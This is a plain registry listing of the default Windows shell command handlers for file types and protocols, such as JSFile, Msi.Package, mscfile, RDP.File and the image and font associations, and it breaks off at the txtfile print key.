HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSFile\Shell\Open\Command
    (Default)    REG_SZ    C:\Windows\System32\WScript.exe "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSFile\Shell\Open2\Command
    (Default)    REG_SZ    C:\Windows\System32\CScript.exe "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSFile\Shell\Print\Command
    (Default)    REG_SZ    C:\Windows\System32\Notepad.exe /p %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Launcher.Computer\Shell\Manage\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\CompMgmtLauncher.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\LDAP\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\LpkSetup.1\Shell\install\command
    (Default)    REG_EXPAND_SZ    %systemroot%\system32\lpksetup.exe /p "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MacromediaFlashPaper.MacromediaFlashPaper\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Internet Explorer\iexplore.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\mhtmlfile\shell\open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\mhtmlfile\shell\opennew\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.PowerShellConsole.1\Shell\Open\Command
    (Default)    REG_SZ    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -p "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.PowerShellData.1\Shell\Edit\Command
    (Default)    REG_SZ    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.PowerShellData.1\Shell\Open\Command
    (Default)    REG_SZ    "C:\Windows\System32\notepad.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.PowerShellModule.1\Shell\Edit\Command
    (Default)    REG_SZ    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.PowerShellModule.1\Shell\Open\Command
    (Default)    REG_SZ    "C:\Windows\System32\notepad.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.PowerShellScript.1\Shell\0\Command
    (Default)    REG_SZ    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "-Command" "if((Get-ExecutionPolicy ) -ne 'AllSigned') { Set-ExecutionPolicy -Scope Process Bypass }; & '%1'"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.PowerShellScript.1\Shell\Edit\Command
    (Default)    REG_SZ    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.PowerShellScript.1\Shell\Open\Command
    (Default)    REG_SZ    "C:\Windows\System32\notepad.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.ProvTool.Provisioning.1\Shell\open\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\provtool.exe" "%1" /source ShellOpen

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.System.Update.1\shell\open\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\wusa.exe" "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.Website\Shell\Open\Command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" -w "%l" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.Workfolders\Shell\Open\command
    (Default)    REG_SZ    C:\Windows\System32\control.exe /name Microsoft.WorkFolders

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MMS\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-availablenetworks\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\system32\LaunchWinApp.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-mmsys\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\mmsys.cpl %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-msdt\shell\open\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\system32\msdt.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-msime-imepad\shell\open\command
    (Default)    REG_SZ    C:\Windows\System32\IME\SHARED\IMEPADSV.EXE %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-msime-imjpdct\shell\open\command
    (Default)    REG_SZ    C:\Windows\System32\IME\IMEJP\IMJPDCT.EXE %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-quick-assist\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\system32\quickassist.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-rdx-document\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\RDXService,OpenRDXDocument %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-settings-connectabledevices\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\system32\LaunchWinApp.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-settings-displays-topology\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\system32\LaunchWinApp.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-virtualtouchpad\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\system32\LaunchWinApp.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\mscfile\shell\Author\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mmc.exe /a "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\mscfile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mmc.exe "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\mscfile\shell\RunAs\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mmc.exe "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MSDASC\shell\open\command
    (Default)    REG_EXPAND_SZ    Rundll32.exe "%CommonProgramFiles%\System\OLE DB\oledb32.dll",OpenDSLFile %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Msi.Package\shell\Open\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\msiexec.exe" /i "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Msi.Package\shell\Repair\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\msiexec.exe" /f "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Msi.Package\shell\Uninstall\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\msiexec.exe" /x "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Msi.Patch\shell\Open\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\msiexec.exe" /p "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MSInfoFile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\msinfo32.exe "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MSSppLicenseFile\shell\open\command
    (Default)    REG_SZ    "iexplore.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MSStorageSense\shell\open\command
    (Default)    REG_EXPAND_SZ    explorer ms-settings:storagesense

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\msstylesfile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\shell32.dll,Control_RunDLL %SystemRoot%\system32\desk.cpl desk,@Appearance /Action:OpenMSTheme /file:"%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\NetServer\shell\remotedesktop\command
    (Default)    REG_SZ    mstsc.exe -v %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\NetworkExplorerPlugins\urn:schemas-upnp-org:device:MediaServer:1\shell\Open Media Player\command
    (Default)    REG_EXPAND_SZ    C:\Program Files\Windows Media Player\wmplayer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\odtfile\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\odtfile\shell\print\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /p "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\odtfile\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\opensearchdescription\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\opensearchfilefolderresult\shell\open\command
    (Default)    REG_SZ     

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\opensearchresult\shell\open\command
    (Default)    REG_SZ     

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\opensearchresult\shell\print\command
    (Default)    REG_EXPAND_SZ    rundll32.exe %windir%\system32\mshtml.dll,PrintHTML "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\otffile\shell\preview\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\otffile\shell\print\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe /p %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\P7RFile\shell\add\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtAddP7R %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\P7RFile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenP7R %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\P7SFile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Paint.Picture\shell\edit\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Paint.Picture\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\pbkfile\Shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rasphone.exe -f "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PBrush\shell\edit\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PBrush\shell\print\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /p "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PBrush\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PerfFile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mmc.exe %systemroot%\system32\perfmon.msc /F "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\pfmfile\shell\preview\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\pfmfile\shell\print\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe /p %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PFXFile\shell\add\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtAddPFX %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PFXFile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPFX %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PhotoViewer.FileAssoc.Tiff\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\piffile\shell\open\command
    (Default)    REG_SZ    "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\pjpegfile\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\shimgvw.dll",ImageView_PrintTo /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\pngfile\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\shimgvw.dll",ImageView_PrintTo /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\prffile\shell\Open\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnPRF %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ratfile\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnRAT %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\RDP.File\shell\Connect\command
    (Default)    REG_SZ    mstsc.exe "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\RDP.File\shell\Edit\command
    (Default)    REG_SZ    mstsc.exe -edit "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\RDP.File\shell\Open\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mstsc.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regedit\shell\open\command
    (Default)    REG_SZ    regedit.exe "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\notepad.exe "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\open\command
    (Default)    REG_SZ    regedit.exe "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\print\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\notepad.exe /p "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\RemoteAssistance.1\Shell\open\command
    (Default)    REG_EXPAND_SZ    "%systemRoot%\system32\msra.exe" -openfile "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\rlefile\shell\open\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\rlefile\shell\print\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /p "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\rlefile\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\rlogin\shell\open\command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\rtffile\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\rtffile\shell\print\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /p "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\rtffile\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SavedDsQuery\Shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\dsquery.dll,OpenSavedDsQuery %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\scrfile\shell\config\command
    (Default)    REG_SZ    "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\scrfile\shell\install\command
    (Default)    REG_SZ    rundll32.exe desk.cpl,InstallScreenSaver %l

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\scrfile\shell\open\command
    (Default)    REG_SZ    "%1" /S

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\scriptletfile\Shell\Generate Typelib\command
    (Default)    REG_SZ    "C:\Windows\System32\RUNDLL32.EXE" "C:\Windows\System32\scrobj.dll",GenerateTypeLib "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\scriptletfile\Shell\Open\command
    (Default)    REG_SZ    "C:\Windows\System32\NOTEPAD.EXE" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\scriptletfile\Shell\Register\command
    (Default)    REG_SZ    "C:\Windows\System32\REGSVR32.EXE" /i:"%1" "C:\Windows\System32\scrobj.dll"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\scriptletfile\Shell\Unregister\command
    (Default)    REG_SZ    "C:\Windows\System32\REGSVR32.EXE" /u /n /i:"%1" "C:\Windows\System32\scrobj.dll"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\search\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe /separate,/idlist,%I,%L

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\search-ms\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe /separate,/idlist,%I,%L

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SHCmdFile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Shell.CDBurn\Shell\Prepare\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\shell32.dll,PrepareDiscForBurnRunDll %L

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SPCFile\shell\add\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtAddSPC %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SPCFile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\svgfile\shell\open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\svgfile\shell\opennew\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\svgfile\shell\print\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\rundll32.exe" "%systemroot%\system32\mshtml.dll",PrintHTML "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\svgfile\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\rundll32.exe" "%systemroot%\system32\mshtml.dll",PrintHTML "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.3mf\Shell\3D Edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp\Shell\3D Edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.dib\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.fbx\Shell\3D Edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.gif\Shell\3D Edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.gif\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.glb\Shell\3D Edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif\Shell\3D Edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe\Shell\3D Edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg\Shell\3D Edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg\Shell\3D Edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.obj\Shell\3D Edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ply\Shell\3D Edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png\Shell\3D Edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.stl\Shell\3D Edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\Shell\3D Edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff\Shell\3D Edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wdp\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\image\shell\edit\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\image\shell\print\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\text\shell\edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\text\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\telnet\shell\open\command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\textfile\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\textfile\shell\print\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /p "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\textfile\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\themefile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\themepackfile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TIFImage.Document\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TIFImage.Document\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\shimgvw.dll",ImageView_PrintTo /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\tn3270\shell\open\command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ttcfile\shell\preview\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ttcfile\shell\print\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe /p %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ttffile\shell\preview\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ttffile\shell\print\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe /p %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\print\command
